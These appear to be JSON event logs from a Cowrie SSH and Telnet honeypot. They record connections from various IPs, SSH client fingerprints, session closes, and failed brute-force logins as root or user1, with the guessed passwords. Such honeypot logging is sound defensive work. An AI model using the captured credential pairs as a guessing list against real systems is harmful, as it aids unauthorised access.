{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:15:43.520033Z","src_ip":"103.122.221.179","session":"94509e31be5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1977","message":"login attempt [root/mama1977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:15:44.280821Z","src_ip":"103.122.221.179","session":"94509e31be5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:15:45.537978Z","src_ip":"103.122.221.179","session":"94509e31be5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.7","src_port":51494,"dst_ip":"10.17.0.5","dst_port":23,"session":"179e9d014656","protocol":"telnet","message":"New connection: 85.217.149.7:51494 (10.17.0.5:23) [session: 179e9d014656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:16:20.312512Z"}
{"eventid":"cowrie.session.closed","duration":0.031026124954223633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:16:20.343400Z","src_ip":"85.217.149.7","session":"179e9d014656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.29.124.154","src_port":4298,"dst_ip":"10.17.0.5","dst_port":22,"session":"496b1fdb3148","protocol":"ssh","message":"New connection: 94.29.124.154:4298 (10.17.0.5:22) [session: 496b1fdb3148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:16:42.847557Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56308,"dst_ip":"10.17.0.5","dst_port":22,"session":"10166c112444","protocol":"ssh","message":"New connection: 62.133.63.178:56308 (10.17.0.5:22) [session: 10166c112444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:29.029490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:29.034203Z","src_ip":"62.133.63.178","session":"10166c112444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:29.160000Z","src_ip":"62.133.63.178","session":"10166c112444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01041983","message":"login attempt [root/01041983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:29.537586Z","src_ip":"62.133.63.178","session":"10166c112444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:30.676000Z","src_ip":"62.133.63.178","session":"10166c112444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d5bbfea05c5","protocol":"ssh","message":"New connection: 147.45.199.80:51112 (10.17.0.5:22) [session: 3d5bbfea05c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:38.695952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:38.701158Z","src_ip":"147.45.199.80","session":"3d5bbfea05c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:38.797322Z","src_ip":"147.45.199.80","session":"3d5bbfea05c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23011985","message":"login attempt [root/23011985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:39.085786Z","src_ip":"147.45.199.80","session":"3d5bbfea05c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:40.189319Z","src_ip":"147.45.199.80","session":"3d5bbfea05c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45932,"dst_ip":"159.203.135.109","dst_port":22,"session":"10813cfe8ea8","protocol":"ssh","message":"New connection: 194.113.233.25:45932 (159.203.135.109:22) [session: 10813cfe8ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:54.031245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:54.035508Z","src_ip":"194.113.233.25","session":"10813cfe8ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:54.128264Z","src_ip":"194.113.233.25","session":"10813cfe8ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flipper","message":"login attempt [root/flipper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:54.404685Z","src_ip":"194.113.233.25","session":"10813cfe8ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:17:55.499991Z","src_ip":"194.113.233.25","session":"10813cfe8ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":57964,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a585230242","protocol":"ssh","message":"New connection: 103.189.234.9:57964 (10.17.0.5:22) [session: 92a585230242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:15.208549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:15.213603Z","src_ip":"103.189.234.9","session":"92a585230242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:15.444852Z","src_ip":"103.189.234.9","session":"92a585230242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123123123","message":"login attempt [user1/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:16.401243Z","src_ip":"103.189.234.9","session":"92a585230242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:17.635833Z","src_ip":"103.189.234.9","session":"92a585230242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:42.874671Z","src_ip":"94.29.124.154","session":"496b1fdb3148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35668,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78de3febd65","protocol":"ssh","message":"New connection: 87.251.79.125:35668 (10.17.0.5:22) [session: b78de3febd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:56.690058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:56.694701Z","src_ip":"87.251.79.125","session":"b78de3febd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:56.771495Z","src_ip":"87.251.79.125","session":"b78de3febd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monalisa","message":"login attempt [root/monalisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:57.010267Z","src_ip":"87.251.79.125","session":"b78de3febd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:18:58.088533Z","src_ip":"87.251.79.125","session":"b78de3febd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47472,"dst_ip":"10.17.0.5","dst_port":22,"session":"876bd38fe2e1","protocol":"ssh","message":"New connection: 51.250.105.222:47472 (10.17.0.5:22) [session: 876bd38fe2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:09.295223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:09.300055Z","src_ip":"51.250.105.222","session":"876bd38fe2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:09.428770Z","src_ip":"51.250.105.222","session":"876bd38fe2e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:09.805511Z","src_ip":"51.250.105.222","session":"876bd38fe2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:10.933946Z","src_ip":"51.250.105.222","session":"876bd38fe2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38802,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99c990cf6d0","protocol":"ssh","message":"New connection: 194.59.206.2:38802 (159.203.135.109:22) [session: a99c990cf6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:19.103780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:19.165692Z","src_ip":"194.59.206.2","session":"a99c990cf6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:19.268210Z","src_ip":"194.59.206.2","session":"a99c990cf6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:19.451852Z","src_ip":"194.59.206.2","session":"a99c990cf6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53470,"dst_ip":"10.17.0.5","dst_port":22,"session":"492710dbeb72","protocol":"ssh","message":"New connection: 89.223.69.22:53470 (10.17.0.5:22) [session: 492710dbeb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:24.155523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:24.164854Z","src_ip":"89.223.69.22","session":"492710dbeb72","protocol":"ssh"}
